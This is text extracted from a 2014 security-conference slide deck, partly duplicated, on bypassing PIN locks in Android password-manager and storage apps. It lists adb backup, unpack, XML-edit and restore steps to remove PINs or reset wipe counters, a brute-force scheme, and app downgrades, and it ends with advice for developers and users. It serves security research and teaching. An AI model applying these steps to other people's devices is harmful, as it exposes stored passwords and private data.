bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 29: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

